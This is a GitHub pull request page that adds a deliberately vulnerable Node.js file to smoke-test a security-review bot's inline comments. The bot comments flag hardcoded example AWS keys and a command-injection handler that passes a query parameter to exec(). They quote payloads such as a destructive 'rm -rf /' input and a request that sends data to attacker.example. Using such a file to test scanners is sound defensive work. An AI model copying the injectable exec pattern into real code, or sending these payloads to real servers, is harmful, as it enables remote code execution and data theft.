Skip to content

test(security-review): smoke-test inline comment posting (delete after verify) #1294

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
tejaskash wants to merge 1 commit into from
Closed

test(security-review): smoke-test inline comment posting (delete after verify) #1294

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 36 additions & 0 deletions scripts/__sec_review_smoketest.mjs
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
// Deliberately vulnerable file used to smoke-test the Claude Security Review
// workflow's inline-comment posting path. Will be reverted once we confirm
// the bot files inline review comments correctly.
import { exec } from 'node:child_process';
import http from 'node:http';

// FINDING 1 (hardcoded credential): AWS-shaped access key checked into source.
const HARDCODED_AWS_ACCESS_KEY_ID = 'AKIAIOSFODNN7EXAMPLE';
const HARDCODED_AWS_SECRET_ACCESS_KEY = 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY';

@agentcore-cli-automation agentcore-cli-automation May 18, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hardcoded AWS credentials (intended finding 1).

Lines 8–9 commit AWS-shaped access key material directly into source. Even though these are the well-known AKIAIOSFODNN7EXAMPLE / wJalrXUtnFEMI...EXAMPLEKEY documentation values (so no real account is exposed), the pattern is exactly what secret scanners and git-secrets flag, and merging it would create noise for downstream tooling and a bad template for copy/paste. Confirming the file is reverted/closed before merge.

(Confirming Claude Security Review's inline-comment path is functioning by posting this comment on a PR-context event.)

Comment on lines +8 to +9

@agentcore-devx-automation agentcore-devx-automation Bot May 18, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Severity: HIGH
Category: hardcoded_credentials
Confidence: 0.85

AWS-shaped access key ID and secret access key are hardcoded as module-level constants and consumed by buildSignedRequest() to sign outbound requests. Even though these particular values match the well-known AWS documentation example pair (and so are not live credentials today), committing real-looking AWS keys to source establishes a pattern that, if repeated with a real key, would leak production credentials to anyone with repo read access (including any future public mirror, fork, or CI artifact). Secrets used for request signing must never be embedded in source.

Exploit scenario: A developer copies this pattern and substitutes a real AKIA… key + secret. The credentials are then permanently retrievable from git history by every current and future repo reader (and from any third-party that mirrors or scrapes the repo), allowing them to call AWS APIs as that principal until the key is rotated.

Recommendation: Remove the hardcoded values. Load AWS credentials from the standard credential chain (env vars, ~/.aws/credentials, instance/role metadata) via the AWS SDK's default provider, e.g. import { fromNodeProviderChain } from '@aws-sdk/credential-providers' and pass the resolved provider to the SDK client — never construct ad-hoc AWS4-HMAC-SHA256 headers from in-source constants.


function buildSignedRequest(payload) {
return {
payload,
auth: `AWS4-HMAC-SHA256 Credential=${HARDCODED_AWS_ACCESS_KEY_ID}`,
secret: HARDCODED_AWS_SECRET_ACCESS_KEY,
};
}

// FINDING 2 (command injection): builds a shell command from an HTTP query
// string parameter and passes it to exec(). Concrete OS-command injection.
const server = http.createServer((req, res) => {
const url = new URL(req.url, 'http://localhost');
const target = url.searchParams.get('host') ?? 'localhost';

exec(`ping -c 1 ${target}`, (err, stdout, stderr) => {

Check failure

Code scanning / CodeQL

Uncontrolled command line Critical

This command line depends on a
user-provided value
Loading
.

@agentcore-cli-automation agentcore-cli-automation May 18, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

OS command injection via exec (intended finding 2).

target comes from the untrusted ?host= query parameter and is interpolated directly into a shell command string passed to child_process.exec. A request like /?host=localhost;rm%20-rf%20/ would execute attacker-controlled commands on the server. CodeQL has already flagged this as well ("Uncontrolled command line").

If this code were ever intended to ship, the fix would be one of:

  • Use execFile('ping', ['-c', '1', target]) so arguments aren't parsed by a shell.
  • Validate target against a strict allow-list / hostname regex before use.
  • Avoid shelling out entirely and use a network library.

But per the PR description this file is a smoke-test artifact and should be removed before merge.

if (err) {
Comment on lines +22 to +26

@agentcore-devx-automation agentcore-devx-automation Bot May 18, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Severity: HIGH
Category: command_injection
Confidence: 0.98

The HTTP handler reads the host query-string parameter directly from the request URL and interpolates it into a shell command passed to child_process.exec(). Because exec() spawns /bin/sh -c <string>, any shell metacharacter in target is interpreted by the shell, giving an unauthenticated remote attacker arbitrary OS command execution as the user running the server.

Exploit scenario: An attacker sends GET /?host=localhost;id;curl%20attacker.example/$(whoami) to the listening server. The shell evaluates the ;-separated commands and the command-substitution, exfiltrating data and executing arbitrary code on the host. Any request that reaches this server (local network, exposed port, SSRF pivot, etc.) is sufficient.

Recommendation: Do not build shell strings from untrusted input. Use child_process.execFile('ping', ['-c', '1', target], …) so arguments are passed as an argv array and never parsed by a shell, and additionally validate target against a strict allowlist (e.g., /^[A-Za-z0-9.\-]+$/) before use.

Suggested change
const url = new URL(req.url, 'http://localhost');
const target = url.searchParams.get('host') ?? 'localhost';
exec(`ping -c 1 ${target}`, (err, stdout, stderr) => {
if (err) {
const target = url.searchParams.get('host') ?? 'localhost';
if (!/^[A-Za-z0-9.\-]+$/.test(target)) {
res.writeHead(400);
res.end('invalid host');
return;
}
execFile('ping', ['-c', '1', target], (err, stdout, stderr) => {

res.writeHead(500);
res.end(String(err));
return;
}
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end(stdout || stderr);
});
});

export { buildSignedRequest, server };
Loading